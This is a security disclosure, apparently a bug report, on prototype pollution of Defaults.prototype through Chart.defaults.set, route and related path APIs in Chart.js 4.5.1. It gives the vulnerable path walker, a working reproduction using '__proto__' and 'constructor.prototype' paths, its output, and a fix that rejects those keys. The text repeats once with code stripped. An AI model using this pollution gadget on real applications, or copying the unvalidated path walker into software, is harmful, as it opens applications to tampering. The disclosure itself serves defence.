Summary
Chart.defaults exposes path-based APIs that walk caller-controlled scope strings before key validation is applied. This allows prototype pollution of Chart.js' Defaults.prototype via paths such as __proto__ and constructor.prototype.
This does not appear to pollute global Object.prototype; the pollution is scoped to the Defaults prototype used by Chart.defaults. It can still alter inherited global defaults for Chart.js in the current JS realm if untrusted input can reach these APIs.
Affected APIs observed:
Chart.defaults.set(scope, values)
Chart.defaults.get(scope) when the returned object is mutated by the caller
Chart.defaults.describe(scope, values) / Chart.defaults.override(scope, values) for their internal default descriptor/override roots
Chart.defaults.route(scope, name, targetScope, targetName)
Affected version
Tested on chart.js@4.5.1, currently the latest npm release.
Root cause
The path walker in src/core/core.defaults.js does not reject dangerous path segments:
function getScope(node, key) {
if (!key) {
return node;
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}
function set(root, scope, values) {
if (typeof scope === 'string') {
return merge(getScope(root, scope), values);
}
return merge(getScope(root, ''), scope);
}
merge() later rejects dangerous keys such as __proto__, prototype, and constructor, but the dangerous path segment is already dereferenced by getScope() before merge() runs.
Reproduction
const {Chart} = require('chart.js');
for (const k of ['xPolluted', 'evilColor', 'routePolluted', '_routePolluted']) {
delete Chart.defaults.constructor.prototype[k];
}
console.log(Chart.version); // 4.5.1
console.log(Chart.defaults.xPolluted); // undefined
Chart.defaults.set('__proto__', {xPolluted: 'via __proto__ path'});
console.log(Chart.defaults.xPolluted); // via __proto__ path
console.log(Object.prototype.hasOwnProperty.call(Chart.defaults, 'xPolluted')); // false
console.log(Chart.defaults.constructor.prototype.xPolluted); // via __proto__ path
Chart.defaults.set('constructor.prototype', {evilColor: '#bad'});
console.log(Chart.defaults.evilColor); // #bad
Chart.defaults.route('__proto__', 'routePolluted', '', 'color');
console.log(Chart.defaults.routePolluted); // #666, inherited getter on Defaults.prototype
console.log(typeof Object.getOwnPropertyDescriptor(
Chart.defaults.constructor.prototype,
'routePolluted'
)?.get === 'function'); // true
Observed output from a local run against chart.js@4.5.1:
version: 4.5.1
before: undefined
after-set-proto: via __proto__ path
own-defaults: false
prototype-value: via __proto__ path
after-set-constructor-prototype: #bad
route-value: #666
route-is-prototype-getter: true
Impact
This is a prototype-pollution gadget on Defaults.prototype, not a demonstrated Object.prototype pollution issue.
Practical exploitability depends on whether an application allows untrusted configuration, themes, dashboards, plugins, or remote JSON to control Chart.defaults path strings. If the API is only called with hardcoded trusted paths, impact is limited.
If untrusted input can reach these calls, an attacker can add inherited properties or route getters to Chart.defaults, changing global Chart.js default resolution for charts in the same page/process.
Suggested fix
Validate every dotted path segment before walking it. At minimum, reject __proto__, prototype, and constructor in all path-based defaults APIs.
Example direction:
function isValidScopePath(key) {
return !key.split('.').some((part) => (
part === '__proto__' || part === 'prototype' || part === 'constructor'
));
}
function getScope(node, key) {
if (!key) {
return node;
}
if (!isValidScopePath(key)) {
throw new Error(`Invalid defaults scope: ${key}`);
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}
route(scope, name, targetScope, targetName) should validate both scope and targetScope; it would also be safer to reject dangerous name and targetName values.
Notes
I did not find evidence that normal chart labels/data reach this path API directly. This report is specifically about the Chart.defaults dotted-path API surface.
Summary
Chart.defaultsexposes path-based APIs that walk caller-controlled scope strings before key validation is applied. This allows prototype pollution of Chart.js'Defaults.prototypevia paths such as__proto__andconstructor.prototype.This does not appear to pollute global
Object.prototype; the pollution is scoped to theDefaultsprototype used byChart.defaults. It can still alter inherited global defaults for Chart.js in the current JS realm if untrusted input can reach these APIs.Affected APIs observed:
Chart.defaults.set(scope, values)Chart.defaults.get(scope)when the returned object is mutated by the callerChart.defaults.describe(scope, values)/Chart.defaults.override(scope, values)for their internal default descriptor/override rootsChart.defaults.route(scope, name, targetScope, targetName)Affected version
Tested on
chart.js@4.5.1, currently the latest npm release.Root cause
The path walker in
src/core/core.defaults.jsdoes not reject dangerous path segments:merge()later rejects dangerous keys such as__proto__,prototype, andconstructor, but the dangerous path segment is already dereferenced bygetScope()beforemerge()runs.Reproduction
Observed output from a local run against
chart.js@4.5.1:Impact
This is a prototype-pollution gadget on
Defaults.prototype, not a demonstratedObject.prototypepollution issue.Practical exploitability depends on whether an application allows untrusted configuration, themes, dashboards, plugins, or remote JSON to control
Chart.defaultspath strings. If the API is only called with hardcoded trusted paths, impact is limited.If untrusted input can reach these calls, an attacker can add inherited properties or route getters to
Chart.defaults, changing global Chart.js default resolution for charts in the same page/process.Suggested fix
Validate every dotted path segment before walking it. At minimum, reject
__proto__,prototype, andconstructorin all path-based defaults APIs.Example direction:
route(scope, name, targetScope, targetName)should validate bothscopeandtargetScope; it would also be safer to reject dangerousnameandtargetNamevalues.Notes
I did not find evidence that normal chart labels/data reach this path API directly. This report is specifically about the
Chart.defaultsdotted-path API surface.